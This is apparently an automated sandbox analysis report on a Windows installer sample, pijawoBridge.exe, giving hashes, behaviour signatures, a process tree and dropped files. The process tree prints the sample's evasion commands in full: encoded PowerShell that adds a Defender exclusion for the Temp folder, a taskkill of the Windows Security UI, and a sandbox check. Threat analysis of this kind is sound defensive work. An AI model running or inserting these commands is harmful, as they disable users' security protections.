Overview
overview
7Static
static
3Updater_v2.211.exe
windows10-2004-x64
7Updater_v2.211.exe
windows11-21h2-x64
7$PLUGINSDI...ls.dll
windows10-2004-x64
3$PLUGINSDI...ls.dll
windows11-21h2-x64
3$PLUGINSDI...em.dll
windows10-2004-x64
3$PLUGINSDI...em.dll
windows11-21h2-x64
3LICENSES.c...m.html
windows10-2004-x64
4LICENSES.c...m.html
windows11-21h2-x64
4d3dcompiler_47.dll
windows10-2004-x64
1ffmpeg.dll
windows10-2004-x64
1libEGL.dll
windows10-2004-x64
1libGLESv2.dll
windows10-2004-x64
1pijawoBridge.exe
windows10-2004-x64
7resources/app.js
windows10-2004-x64
3resources/app.js
windows11-21h2-x64
3resources/elevate.exe
windows10-2004-x64
3resources/elevate.exe
windows11-21h2-x64
3vk_swiftshader.dll
windows10-2004-x64
1vulkan-1.dll
windows10-2004-x64
1$PLUGINSDI...7z.dll
windows10-2004-x64
3$PLUGINSDI...7z.dll
windows11-21h2-x64
3Analysis
- max time kernel
149s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
06/05/2026, 22:24
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Updater_v2.211.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
Updater_v2.211.exe
Resource
win11-20260130-en
windows11-21h2-x64
11 signatures
150 seconds
Behavioral task
behavioral3
Sample
$PLUGINSDIR/StdUtils.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral4
Sample
$PLUGINSDIR/StdUtils.dll
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral5
Sample
$PLUGINSDIR/System.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral6
Sample
$PLUGINSDIR/System.dll
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral7
Sample
LICENSES.chromium.html
Resource
win10v2004-20260130-en
windows10-2004-x64
12 signatures
150 seconds
Behavioral task
behavioral8
Sample
LICENSES.chromium.html
Resource
win11-20260130-en
windows11-21h2-x64
11 signatures
150 seconds
Behavioral task
behavioral9
Sample
d3dcompiler_47.dll
Resource
win10v2004-20250619-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral10
Sample
ffmpeg.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral11
Sample
libEGL.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral12
Sample
libGLESv2.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral13
Sample
pijawoBridge.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
8 signatures
150 seconds
Behavioral task
behavioral14
Sample
resources/app.js
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral15
Sample
resources/app.js
Resource
win11-20260130-en
windows11-21h2-x64
1 signatures
150 seconds
Behavioral task
behavioral16
Sample
resources/elevate.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral17
Sample
resources/elevate.exe
Resource
win11-20260130-en
windows11-21h2-x64
1 signatures
150 seconds
Behavioral task
behavioral18
Sample
vk_swiftshader.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral19
Sample
vulkan-1.dll
Resource
win10v2004-20250619-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral20
Sample
$PLUGINSDIR/nsis7z.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral21
Sample
$PLUGINSDIR/nsis7z.dll
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
General
- Target pijawoBridge.exe
- Size 180.0MB
- Sample260506-2bm2bafw2m
- SHA256 35ca286e2ab8e5a8f05192fd8eb4e8a3d1de6bda6bbf79917813b5ed05ebf056
- MD5 4dda92b030aee1f2f6de5435edb22661
- SHA1 fa071a239320a1e1cef9a3f4231044a36c2a9016
- SHA512 486a689c7528e00129fc7fbd878b86f2c0c6a53452ab2cf7c845a9251992916bc162a7f2e48ed6e79045a352b4236600992da901b0b471079ae5d80bf3097679
- SSDEEP 1572864:YH0f0gqxb0WBFh/LVO9dyKcRmAswCXj5EtV4ga5h0q2ZOADpAyK5/Y3P8kbVr+qI:Nsok+hK7
- TLSH T115988C03F39A50D9E01DD1B58B9B9633EAB1B8854324A2DF27540B512F77EE86B3DB10
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 2040 5f9c9c1bc5c58065.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3 pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5 pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7 pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2 pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4 pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6 pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString pijawoBridge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz pijawoBridge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 pijawoBridge.exe - Kills process with taskkill 1 IoCs
pid Process 2164 taskkill.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3940 powershell.exe 3940 powershell.exe 4340 powershell.exe 4340 powershell.exe 2040 5f9c9c1bc5c58065.exe 2040 5f9c9c1bc5c58065.exe - Suspicious use of AdjustPrivilegeToken 36 IoCs
description pid Process Token: SeDebugPrivilege 3940 powershell.exe Token: SeIncreaseQuotaPrivilege 3940 powershell.exe Token: SeSecurityPrivilege 3940 powershell.exe Token: SeTakeOwnershipPrivilege 3940 powershell.exe Token: SeLoadDriverPrivilege 3940 powershell.exe Token: SeSystemProfilePrivilege 3940 powershell.exe Token: SeSystemtimePrivilege 3940 powershell.exe Token: SeProfSingleProcessPrivilege 3940 powershell.exe Token: SeIncBasePriorityPrivilege 3940 powershell.exe Token: SeCreatePagefilePrivilege 3940 powershell.exe Token: SeBackupPrivilege 3940 powershell.exe Token: SeRestorePrivilege 3940 powershell.exe Token: SeShutdownPrivilege 3940 powershell.exe Token: SeDebugPrivilege 3940 powershell.exe Token: SeSystemEnvironmentPrivilege 3940 powershell.exe Token: SeRemoteShutdownPrivilege 3940 powershell.exe Token: SeUndockPrivilege 3940 powershell.exe Token: SeManageVolumePrivilege 3940 powershell.exe Token: 33 3940 powershell.exe Token: 34 3940 powershell.exe Token: 35 3940 powershell.exe Token: 36 3940 powershell.exe Token: SeShutdownPrivilege 4596 pijawoBridge.exe Token: SeCreatePagefilePrivilege 4596 pijawoBridge.exe Token: SeDebugPrivilege 2164 taskkill.exe Token: SeDebugPrivilege 4340 powershell.exe Token: SeShutdownPrivilege 4596 pijawoBridge.exe Token: SeCreatePagefilePrivilege 4596 pijawoBridge.exe Token: SeShutdownPrivilege 4596 pijawoBridge.exe Token: SeCreatePagefilePrivilege 4596 pijawoBridge.exe Token: SeShutdownPrivilege 4596 pijawoBridge.exe Token: SeCreatePagefilePrivilege 4596 pijawoBridge.exe Token: SeShutdownPrivilege 4596 pijawoBridge.exe Token: SeCreatePagefilePrivilege 4596 pijawoBridge.exe Token: SeShutdownPrivilege 4596 pijawoBridge.exe Token: SeCreatePagefilePrivilege 4596 pijawoBridge.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4596 wrote to memory of 3212 4596 pijawoBridge.exe 84 PID 4596 wrote to memory of 3212 4596 pijawoBridge.exe 84 PID 4596 wrote to memory of 1420 4596 pijawoBridge.exe 85 PID 1420 wrote to memory of 3940 1420 cmd.exe 87 PID 4596 wrote to memory of 3720 4596 pijawoBridge.exe 89 PID 3720 wrote to memory of 2188 3720 cmd.exe 91 PID 2188 wrote to memory of 3840 2188 net.exe 92 PID 4596 wrote to memory of 4116 4596 pijawoBridge.exe 93 PID 4116 wrote to memory of 2164 4116 cmd.exe 95 PID 4596 wrote to memory of 4340 4596 pijawoBridge.exe 96 PID 4596 wrote to memory of 724 4596 pijawoBridge.exe 98 PID 4596 wrote to memory of 2040 4596 pijawoBridge.exe 99
Processes
-
C:\Users\Admin\AppData\Local\Temp\pijawoBridge.exe"C:\Users\Admin\AppData\Local\Temp\pijawoBridge.exe"1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Users\Admin\AppData\Local\Temp\pijawoBridge.exe"C:\Users\Admin\AppData\Local\Temp\pijawoBridge.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\pijawobridge-2ibf" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1744,i,6399621277059311244,4448638267963309645,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1736 /prefetch:22⤵PID:3212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA=="2⤵
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:3840
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SecHealthUI.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2164
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -EncodedCommand dAByAHkAIAB7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAH0AIABjAGEAdABjAGgAIAB7AH0A2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4340
-
-
C:\Users\Admin\AppData\Local\Temp\pijawoBridge.exe"C:\Users\Admin\AppData\Local\Temp\pijawoBridge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\pijawobridge-2ibf" --field-trial-handle=2064,i,6399621277059311244,4448638267963309645,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:32⤵PID:724
-
-
C:\Users\Admin\AppData\Local\Temp\5f9c9c1bc5c58065.exeC:\Users\Admin\AppData\Local\Temp\5f9c9c1bc5c58065.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2040
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
- MD5 3bfc414667e1ebc31e9259fa1db290fa
- SHA1 9bff989429779efef334e5524a362e7b6ff266cb
- SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
- TLSH T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 0691f74a232844f755441b010c21f3f19f80a4de2eb2b3e004a91bfc191f89a1
- MD5 182f2d2d7b764fb320fdfa13b4bc462b
- SHA1 6fc3840572288d675028b7dfbde39d7b203a6136
- SHA512 7c21c11a32bdad9eb0999add96725440315ecd6f5124d81a437017b4a61c68a81f625f43500d6308bf04b204d52311c138c2ca4ba29cdd8bf9b03b0d2773f3a7
- TLSH T110218727B39CC821CC99153A209CAC1172B683C7809ECF8F6FC0D224A07FAC4CB71594
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\5f9c9c1bc5c58065.exe
- Size 1.8MB
- SHA256 d6a86063f4538080fe26c797027c33e55a7cecdd35d754a84cb91b025488e02d
- MD5 8c908aa93d6fb24b74d16b7fca11054a
- SHA1 b52d18dc007199d5154c25051ec39adb15577ba0
- SHA512 d85ecca4fc695974dc01d3999cf6e71fb252bd2feb42c2f339c26e0a9c1ff4a82cd7a0e6072bab94b987693329a37c561335b42260848d344d09b4447ff5f30e
- SSDEEP 24576:SrjBI+UwRc3kDV90ZCXP6GBnqV3AyeujXzZ41jzgXrHGkVK1fM:SPBI+UwSUZ5nqx1tjXzZ4RgXrmkVK1U
- TLSH T1B2854B067890A07DC4A9B23188F562D57B34B85C073137E33B676EB96E36BD00E7A359
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u1micsxd.xlu.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH